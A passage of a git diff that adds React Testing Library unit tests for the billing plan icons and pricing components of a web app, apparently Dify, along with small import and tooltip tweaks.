+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render correct number of SVG rect elements', () => {
+      const { container } = render(<Professional />)
+      const rects = container.querySelectorAll('rect')
+
+      // Based on the component structure, it should have multiple rect elements
+      expect(rects.length).toBeGreaterThan(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Professional />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Professional />)
+      const { container: container2 } = render(<Professional />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+
+    it('should not be wrapped with React.memo', () => {
+      // Professional component is exported directly without React.memo
+      // This test ensures the component renders correctly without memoization
+      const { container, rerender } = render(<Professional />)
+      const firstRender = container.innerHTML
+
+      rerender(<Professional />)
+      const secondRender = container.innerHTML
+
+      // Content should still be the same even without memoization
+      expect(firstRender).toBe(secondRender)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image (no accessibility concerns for icon)', () => {
+      const { container } = render(<Professional />)
+      const svg = container.querySelector('svg')
+
+      // SVG icons typically don't need aria-labels if they're decorative
+      // This test ensures the SVG is present and renderable
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Professional />
+          <Professional />
+          <Professional />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Professional />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+
+    it('should render in different contexts without errors', () => {
+      const { container } = render(
+        <div className="test-wrapper">
+          <Professional />
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Professional />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      // All fill attributes should use CSS variables
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary elements', () => {
+      const { container } = render(<Professional />)
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      quaternaryElements.forEach((element) => {
+        expect(element).toHaveAttribute('opacity', '0.18')
+      })
+    })
+
+    it('should not have opacity on blue inverted elements', () => {
+      const { container } = render(<Professional />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+
+      blueElements.forEach((element) => {
+        expect(element).not.toHaveAttribute('opacity')
+      })
+    })
+  })
+
+  describe('SVG Structure', () => {
+    it('should have correct rect element structure', () => {
+      const { container } = render(<Professional />)
+      const rects = container.querySelectorAll('rect')
+
+      // Each rect should have specific attributes
+      rects.forEach((rect) => {
+        expect(rect).toHaveAttribute('width', '2')
+        expect(rect).toHaveAttribute('height', '2')
+        expect(rect).toHaveAttribute('rx', '1')
+        expect(rect).toHaveAttribute('fill')
+      })
+    })
+
+    it('should maintain exact pixel positioning', () => {
+      const { container } = render(<Professional />)
+      const rects = container.querySelectorAll('rect')
+
+      // Ensure positioning attributes exist
+      rects.forEach((rect) => {
+        expect(rect).toHaveAttribute('x')
+        expect(rect).toHaveAttribute('y')
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/sandbox.spec.tsx b/web/app/components/billing/plan/assets/sandbox.spec.tsx
new file mode 100644
index 0000000000..5a5accf362
--- /dev/null
+++ b/web/app/components/billing/plan/assets/sandbox.spec.tsx
@@ -0,0 +1,128 @@
+import { render } from '@testing-library/react'
+import React from 'react'
+import Sandbox from './sandbox'
+
+describe('Sandbox Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Sandbox />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render correct number of SVG elements', () => {
+      const { container } = render(<Sandbox />)
+      const rects = container.querySelectorAll('rect')
+      const paths = container.querySelectorAll('path')
+
+      // Based on the component structure
+      expect(rects.length).toBeGreaterThan(0)
+      expect(paths.length).toBeGreaterThan(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Sandbox />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should be memoized with React.memo', () => {
+      // React.memo wraps the component, so the display name should indicate memoization
+      // The component itself should be stable across re-renders
+      const { rerender, container } = render(<Sandbox />)
+      const firstRender = container.innerHTML
+
+      rerender(<Sandbox />)
+      const secondRender = container.innerHTML
+
+      expect(firstRender).toBe(secondRender)
+    })
+
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Sandbox />)
+      const { container: container2 } = render(<Sandbox />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image (no accessibility concerns for icon)', () => {
+      const { container } = render(<Sandbox />)
+      const svg = container.querySelector('svg')
+
+      // SVG icons typically don't need aria-labels if they're decorative
+      // This test ensures the SVG is present and renderable
+      expect(svg).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Sandbox />
+          <Sandbox />
+          <Sandbox />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Sandbox />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Sandbox />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      // All fill attributes should use CSS variables
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary elements', () => {
+      const { container } = render(<Sandbox />)
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      quaternaryElements.forEach((element) => {
+        expect(element).toHaveAttribute('opacity', '0.18')
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/plan/assets/team.spec.tsx b/web/app/components/billing/plan/assets/team.spec.tsx
new file mode 100644
index 0000000000..60e69aa280
--- /dev/null
+++ b/web/app/components/billing/plan/assets/team.spec.tsx
@@ -0,0 +1,199 @@
+import { render } from '@testing-library/react'
+import Team from './team'
+
+describe('Team Icon Component', () => {
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      const { container } = render(<Team />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+
+    it('should render an SVG element', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should have correct SVG attributes', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
+      expect(svg).toHaveAttribute('width', '32')
+      expect(svg).toHaveAttribute('height', '32')
+      expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
+      expect(svg).toHaveAttribute('fill', 'none')
+    })
+
+    it('should render both rect and path elements', () => {
+      const { container } = render(<Team />)
+      const rects = container.querySelectorAll('rect')
+      const paths = container.querySelectorAll('path')
+
+      // Team icon uses both rects and paths
+      expect(rects.length).toBeGreaterThan(0)
+      expect(paths.length).toBeGreaterThan(0)
+    })
+
+    it('should render elements with correct fill colors', () => {
+      const { container } = render(<Team />)
+      const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
+      const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
+
+      expect(blueElements.length).toBeGreaterThan(0)
+      expect(quaternaryElements.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Component Behavior', () => {
+    it('should render consistently across multiple renders', () => {
+      const { container: container1 } = render(<Team />)
+      const { container: container2 } = render(<Team />)
+
+      expect(container1.innerHTML).toBe(container2.innerHTML)
+    })
+
+    it('should maintain stable output without memoization', () => {
+      const { container, rerender } = render(<Team />)
+      const firstRender = container.innerHTML
+
+      rerender(<Team />)
+      const secondRender = container.innerHTML
+
+      expect(firstRender).toBe(secondRender)
+    })
+  })
+
+  describe('Accessibility', () => {
+    it('should render as a decorative image', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should be usable in accessible contexts', () => {
+      const { container } = render(
+        <div role="img" aria-label="Team plan">
+          <Team />
+        </div>,
+      )
+
+      const wrapper = container.querySelector('[role="img"]')
+      expect(wrapper).toBeInTheDocument()
+      expect(wrapper).toHaveAttribute('aria-label', 'Team plan')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple instances without conflicts', () => {
+      const { container } = render(
+        <>
+          <Team />
+          <Team />
+          <Team />
+        </>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(3)
+    })
+
+    it('should maintain structure when wrapped in other elements', () => {
+      const { container } = render(
+        <div>
+          <span>
+            <Team />
+          </span>
+        </div>,
+      )
+
+      const svg = container.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+      expect(svg?.getAttribute('width')).toBe('32')
+    })
+
+    it('should render correctly in list context', () => {
+      const { container } = render(
+        <ul>
+          <li>
+            <Team />
+          </li>
+          <li>
+            <Team />
+          </li>
+        </ul>,
+      )
+
+      const svgs = container.querySelectorAll('svg')
+      expect(svgs).toHaveLength(2)
+    })
+  })
+
+  describe('CSS Variables', () => {
+    it('should use CSS custom properties for colors', () => {
+      const { container } = render(<Team />)
+      const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
+
+      expect(elementsWithCSSVars.length).toBeGreaterThan(0)
+    })
+
+    it('should have opacity attributes on quaternary path elements', () => {
+      const { container } = render(<Team />)
+      const quaternaryPaths = container.querySelectorAll('path[fill="var(--color-text-quaternary)"]')
+
+      quaternaryPaths.forEach((path) => {
+        expect(path).toHaveAttribute('opacity', '0.18')
+      })
+    })
+
+    it('should not have opacity on blue inverted elements', () => {
+      const { container } = render(<Team />)
+      const blueRects = container.querySelectorAll('rect[fill="var(--color-saas-dify-blue-inverted)"]')
+
+      blueRects.forEach((rect) => {
+        expect(rect).not.toHaveAttribute('opacity')
+      })
+    })
+  })
+
+  describe('SVG Structure', () => {
+    it('should have correct rect element attributes', () => {
+      const { container } = render(<Team />)
+      const rects = container.querySelectorAll('rect')
+
+      rects.forEach((rect) => {
+        expect(rect).toHaveAttribute('x')
+        expect(rect).toHaveAttribute('y')
+        expect(rect).toHaveAttribute('width', '2')
+        expect(rect).toHaveAttribute('height', '2')
+        expect(rect).toHaveAttribute('rx', '1')
+        expect(rect).toHaveAttribute('fill')
+      })
+    })
+
+    it('should have correct path element structure', () => {
+      const { container } = render(<Team />)
+      const paths = container.querySelectorAll('path')
+
+      paths.forEach((path) => {
+        expect(path).toHaveAttribute('d')
+        expect(path).toHaveAttribute('fill')
+      })
+    })
+
+    it('should maintain proper element positioning', () => {
+      const { container } = render(<Team />)
+      const svg = container.querySelector('svg')
+
+      expect(svg?.childNodes.length).toBeGreaterThan(0)
+    })
+  })
+
+  describe('Export', () => {
+    it('should be the default export', () => {
+      expect(Team).toBeDefined()
+      expect(typeof Team).toBe('function')
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/footer.tsx b/web/app/components/billing/pricing/footer.tsx
index fd713eb3da..4605aad998 100644
--- a/web/app/components/billing/pricing/footer.tsx
+++ b/web/app/components/billing/pricing/footer.tsx
@@ -3,7 +3,7 @@ import Link from 'next/link'
 import { useTranslation } from 'react-i18next'
 import { RiArrowRightUpLine } from '@remixicon/react'
 import { type Category, CategoryEnum } from '.'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type FooterProps = {
   pricingPageURL: string
diff --git a/web/app/components/billing/pricing/plan-switcher/tab.tsx b/web/app/components/billing/pricing/plan-switcher/tab.tsx
index 417c9ff1fb..4be0973ead 100644
--- a/web/app/components/billing/pricing/plan-switcher/tab.tsx
+++ b/web/app/components/billing/pricing/plan-switcher/tab.tsx
@@ -1,5 +1,5 @@
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type TabProps<T> = {
   Icon: React.ComponentType<{ isActive: boolean }>
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx
new file mode 100644
index 0000000000..0c50c80c87
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/button.spec.tsx
@@ -0,0 +1,50 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import Button from './button'
+import { Plan } from '../../../type'
+
+describe('CloudPlanButton', () => {
+  describe('Disabled state', () => {
+    test('should disable button and hide arrow when plan is not available', () => {
+      const handleGetPayUrl = jest.fn()
+      // Arrange
+      render(
+        <Button
+          plan={Plan.team}
+          isPlanDisabled
+          btnText="Get started"
+          handleGetPayUrl={handleGetPayUrl}
+        />,
+      )
+
+      const button = screen.getByRole('button', { name: /Get started/i })
+      // Assert
+      expect(button).toBeDisabled()
+      expect(button.className).toContain('cursor-not-allowed')
+      expect(handleGetPayUrl).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Enabled state', () => {
+    test('should invoke handler and render arrow when plan is available', () => {
+      const handleGetPayUrl = jest.fn()
+      // Arrange
+      render(
+        <Button
+          plan={Plan.sandbox}
+          isPlanDisabled={false}
+          btnText="Start now"
+          handleGetPayUrl={handleGetPayUrl}
+        />,
+      )
+
+      const button = screen.getByRole('button', { name: /Start now/i })
+      // Act
+      fireEvent.click(button)
+
+      // Assert
+      expect(handleGetPayUrl).toHaveBeenCalledTimes(1)
+      expect(button).not.toBeDisabled()
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/button.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/button.tsx
index 1f16632ef2..e24faab2c9 100644
--- a/web/app/components/billing/pricing/plans/cloud-plan-item/button.tsx
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/button.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import type { BasicPlan } from '../../../type'
 import { Plan } from '../../../type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowRightLine } from '@remixicon/react'
 
 const BUTTON_CLASSNAME = {
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx
new file mode 100644
index 0000000000..4e748adea0
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/index.spec.tsx
@@ -0,0 +1,188 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import CloudPlanItem from './index'
+import { Plan } from '../../../type'
+import { PlanRange } from '../../plan-switcher/plan-range-switcher'
+import { useAppContext } from '@/context/app-context'
+import { useAsyncWindowOpen } from '@/hooks/use-async-window-open'
+import { fetchBillingUrl, fetchSubscriptionUrls } from '@/service/billing'
+import Toast from '../../../../base/toast'
+import { ALL_PLANS } from '../../../config'
+
+jest.mock('../../../../base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: jest.fn(),
+  },
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: jest.fn(),
+}))
+
+jest.mock('@/service/billing', () => ({
+  fetchBillingUrl: jest.fn(),
+  fetchSubscriptionUrls: jest.fn(),
+}))
+
+jest.mock('@/hooks/use-async-window-open', () => ({
+  useAsyncWindowOpen: jest.fn(),
+}))
+
+jest.mock('../../assets', () => ({
+  Sandbox: () => <div>Sandbox Icon</div>,
+  Professional: () => <div>Professional Icon</div>,
+  Team: () => <div>Team Icon</div>,
+}))
+
+const mockUseAppContext = useAppContext as jest.Mock
+const mockUseAsyncWindowOpen = useAsyncWindowOpen as jest.Mock
+const mockFetchBillingUrl = fetchBillingUrl as jest.Mock
+const mockFetchSubscriptionUrls = fetchSubscriptionUrls as jest.Mock
+const mockToastNotify = Toast.notify as jest.Mock
+
+let assignedHref = ''
+const originalLocation = window.location
+
+beforeAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: {
+      get href() {
+        return assignedHref
+      },
+      set href(value: string) {
+        assignedHref = value
+      },
+    } as unknown as Location,
+  })
+})
+
+afterAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: originalLocation,
+  })
+})
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: true })
+  mockUseAsyncWindowOpen.mockReturnValue(jest.fn(async open => await open()))
+  mockFetchBillingUrl.mockResolvedValue({ url: 'https://billing.example' })
+  mockFetchSubscriptionUrls.mockResolvedValue({ url: 'https://subscription.example' })
+  assignedHref = ''
+})
+
+describe('CloudPlanItem', () => {
+  // Static content for each plan
+  describe('Rendering', () => {
+    test('should show plan metadata and free label for sandbox plan', () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.sandbox}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      expect(screen.getByText('billing.plans.sandbox.name')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.sandbox.description')).toBeInTheDocument()
+      expect(screen.getByText('billing.plansCommon.free')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'billing.plansCommon.currentPlan' })).toBeInTheDocument()
+    })
+
+    test('should display yearly pricing with discount when planRange is yearly', () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.yearly}
+          canPay
+        />,
+      )
+
+      const professionalPlan = ALL_PLANS[Plan.professional]
+      expect(screen.getByText(`$${professionalPlan.price * 12}`)).toBeInTheDocument()
+      expect(screen.getByText(`$${professionalPlan.price * 10}`)).toBeInTheDocument()
+      expect(screen.getByText(/billing\.plansCommon\.priceTip.*billing\.plansCommon\.year/)).toBeInTheDocument()
+    })
+
+    test('should disable CTA when workspace already on higher tier', () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.team}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      const button = screen.getByRole('button', { name: 'billing.plansCommon.startBuilding' })
+      expect(button).toBeDisabled()
+    })
+  })
+
+  // Payment actions triggered from the CTA
+  describe('Plan purchase flow', () => {
+    test('should show toast when non-manager tries to buy a plan', () => {
+      mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: false })
+
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plansCommon.startBuilding' }))
+      expect(mockToastNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'error',
+        message: 'billing.buyPermissionDeniedTip',
+      }))
+      expect(mockFetchBillingUrl).not.toHaveBeenCalled()
+    })
+
+    test('should open billing portal when upgrading current paid plan', async () => {
+      const openWindow = jest.fn(async (cb: () => Promise<string>) => await cb())
+      mockUseAsyncWindowOpen.mockReturnValue(openWindow)
+
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.professional}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plansCommon.currentPlan' }))
+
+      await waitFor(() => {
+        expect(mockFetchBillingUrl).toHaveBeenCalledTimes(1)
+      })
+      expect(openWindow).toHaveBeenCalledTimes(1)
+    })
+
+    test('should redirect to subscription url when selecting a new paid plan', async () => {
+      render(
+        <CloudPlanItem
+          plan={Plan.professional}
+          currentPlan={Plan.sandbox}
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plansCommon.startBuilding' }))
+
+      await waitFor(() => {
+        expect(mockFetchSubscriptionUrls).toHaveBeenCalledWith(Plan.professional, 'month')
+        expect(assignedHref).toBe('https://subscription.example')
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx
new file mode 100644
index 0000000000..fa49a6d8cf
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/index.spec.tsx
@@ -0,0 +1,30 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import List from './index'
+import { Plan } from '../../../../type'
+
+describe('CloudPlanItem/List', () => {
+  test('should show sandbox specific quotas', () => {
+    render(<List plan={Plan.sandbox} />)
+
+    expect(screen.getByText('billing.plansCommon.messageRequest.title:{"count":200}')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.triggerEvents.sandbox:{"count":3000}')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.startNodes.limited:{"count":2}')).toBeInTheDocument()
+  })
+
+  test('should show professional monthly quotas and tooltips', () => {
+    render(<List plan={Plan.professional} />)
+
+    expect(screen.getByText('billing.plansCommon.messageRequest.titlePerMonth:{"count":5000}')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.vectorSpaceTooltip')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.workflowExecution.faster')).toBeInTheDocument()
+  })
+
+  test('should show unlimited messaging details for team plan', () => {
+    render(<List plan={Plan.team} />)
+
+    expect(screen.getByText('billing.plansCommon.triggerEvents.unlimited')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.workflowExecution.priority')).toBeInTheDocument()
+    expect(screen.getByText('billing.plansCommon.unlimitedApiRate')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx
new file mode 100644
index 0000000000..25ee1fb8c8
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/index.spec.tsx
@@ -0,0 +1,52 @@
+import { render, screen } from '@testing-library/react'
+import Item from './index'
+
+describe('Item', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering the plan item row
+  describe('Rendering', () => {
+    it('should render the provided label when tooltip is absent', () => {
+      // Arrange
+      const label = 'Monthly credits'
+
+      // Act
+      const { container } = render(<Item label={label} />)
+
+      // Assert
+      expect(screen.getByText(label)).toBeInTheDocument()
+      expect(container.querySelector('.group')).toBeNull()
+    })
+  })
+
+  // Toggling the optional tooltip indicator
+  describe('Tooltip behavior', () => {
+    it('should render tooltip content when tooltip text is provided', () => {
+      // Arrange
+      const label = 'Workspace seats'
+      const tooltip = 'Seats define how many teammates can join the workspace.'
+
+      // Act
+      const { container } = render(<Item label={label} tooltip={tooltip} />)
+
+      // Assert
+      expect(screen.getByText(label)).toBeInTheDocument()
+      expect(screen.getByText(tooltip)).toBeInTheDocument()
+      expect(container.querySelector('.group')).not.toBeNull()
+    })
+
+    it('should treat an empty tooltip string as absent', () => {
+      // Arrange
+      const label = 'Vector storage'
+
+      // Act
+      const { container } = render(<Item label={label} tooltip='' />)
+
+      // Assert
+      expect(screen.getByText(label)).toBeInTheDocument()
+      expect(container.querySelector('.group')).toBeNull()
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx
new file mode 100644
index 0000000000..b1a6750fd7
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.spec.tsx
@@ -0,0 +1,46 @@
+import { render, screen } from '@testing-library/react'
+import Tooltip from './tooltip'
+
+describe('Tooltip', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering the info tooltip container
+  describe('Rendering', () => {
+    it('should render the content panel when provide with text', () => {
+      // Arrange
+      const content = 'Usage resets on the first day of every month.'
+
+      // Act
+      render(<Tooltip content={content} />)
+
+      // Assert
+      expect(() => screen.getByText(content)).not.toThrow()
+    })
+  })
+
+  describe('Icon rendering', () => {
+    it('should render the icon when provided with content', () => {
+      // Arrange
+      const content = 'Tooltips explain each plan detail.'
+
+      // Act
+      render(<Tooltip content={content} />)
+
+      // Assert
+      expect(screen.getByTestId('tooltip-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Handling empty strings while keeping structure consistent
+  describe('Edge cases', () => {
+    it('should render without crashing when passed empty content', () => {
+      // Arrange
+      const content = ''
+
+      // Act and Assert
+      expect(() => render(<Tooltip content={content} />)).not.toThrow()
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx
index 84e0282993..cf6517b292 100644
--- a/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx
+++ b/web/app/components/billing/pricing/plans/cloud-plan-item/list/item/tooltip.tsx
@@ -8,13 +8,15 @@ type TooltipProps = {
 const Tooltip = ({
   content,
 }: TooltipProps) => {
+  if (!content)
+    return null
   return (
     <div className='group relative z-10 size-[18px] overflow-visible'>
       <div className='system-xs-regular absolute bottom-0 right-0 -z-10 hidden w-[260px] bg-saas-dify-blue-static px-5 py-[18px] text-text-primary-on-surface group-hover:block'>
         {content}
       </div>
       <div className='flex h-full w-full items-center justify-center rounded-[4px] bg-state-base-hover transition-all duration-500 ease-in-out group-hover:rounded-none group-hover:bg-saas-dify-blue-static'>
-        <RiInfoI className='size-3.5 text-text-tertiary group-hover:text-text-primary-on-surface' />
+        <RiInfoI className='size-3.5 text-text-tertiary group-hover:text-text-primary-on-surface' data-testid="tooltip-icon" />
       </div>
     </div>
   )
diff --git a/web/app/components/billing/pricing/plans/index.spec.tsx b/web/app/components/billing/pricing/plans/index.spec.tsx
new file mode 100644
index 0000000000..cc2fe2d4ae
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/index.spec.tsx
@@ -0,0 +1,87 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Plans from './index'
+import { Plan, type UsagePlanInfo } from '../../type'
+import { PlanRange } from '../plan-switcher/plan-range-switcher'
+
+jest.mock('./cloud-plan-item', () => ({
+  __esModule: true,
+  default: jest.fn(props => (
+    <div data-testid={`cloud-plan-${props.plan}`} data-current-plan={props.currentPlan}>
+      Cloud {props.plan}
+    </div>
+  )),
+}))
+
+jest.mock('./self-hosted-plan-item', () => ({
+  __esModule: true,
+  default: jest.fn(props => (
+    <div data-testid={`self-plan-${props.plan}`}>
+      Self {props.plan}
+    </div>
+  )),
+}))
+
+const buildPlan = (type: Plan) => {
+  const usage: UsagePlanInfo = {
+    buildApps: 0,
+    teamMembers: 0,
+    annotatedResponse: 0,
+    documentsUploadQuota: 0,
+    apiRateLimit: 0,
+    triggerEvents: 0,
+    vectorSpace: 0,
+  }
+  return {
+    type,
+    usage,
+    total: usage,
+  }
+}
+
+describe('Plans', () => {
+  // Cloud plans visible only when currentPlan is cloud
+  describe('Cloud plan rendering', () => {
+    test('should render sandbox, professional, and team cloud plans when workspace is cloud', () => {
+      render(
+        <Plans
+          plan={buildPlan(Plan.enterprise)}
+          currentPlan="cloud"
+          planRange={PlanRange.monthly}
+          canPay
+        />,
+      )
+
+      expect(screen.getByTestId('cloud-plan-sandbox')).toBeInTheDocument()
+      expect(screen.getByTestId('cloud-plan-professional')).toBeInTheDocument()
+      expect(screen.getByTestId('cloud-plan-team')).toBeInTheDocument()
+
+      const cloudPlanItem = jest.requireMock('./cloud-plan-item').default as jest.Mock
+      const firstCallProps = cloudPlanItem.mock.calls[0][0]
+      expect(firstCallProps.plan).toBe(Plan.sandbox)
+      // Enterprise should be normalized to team when passed down
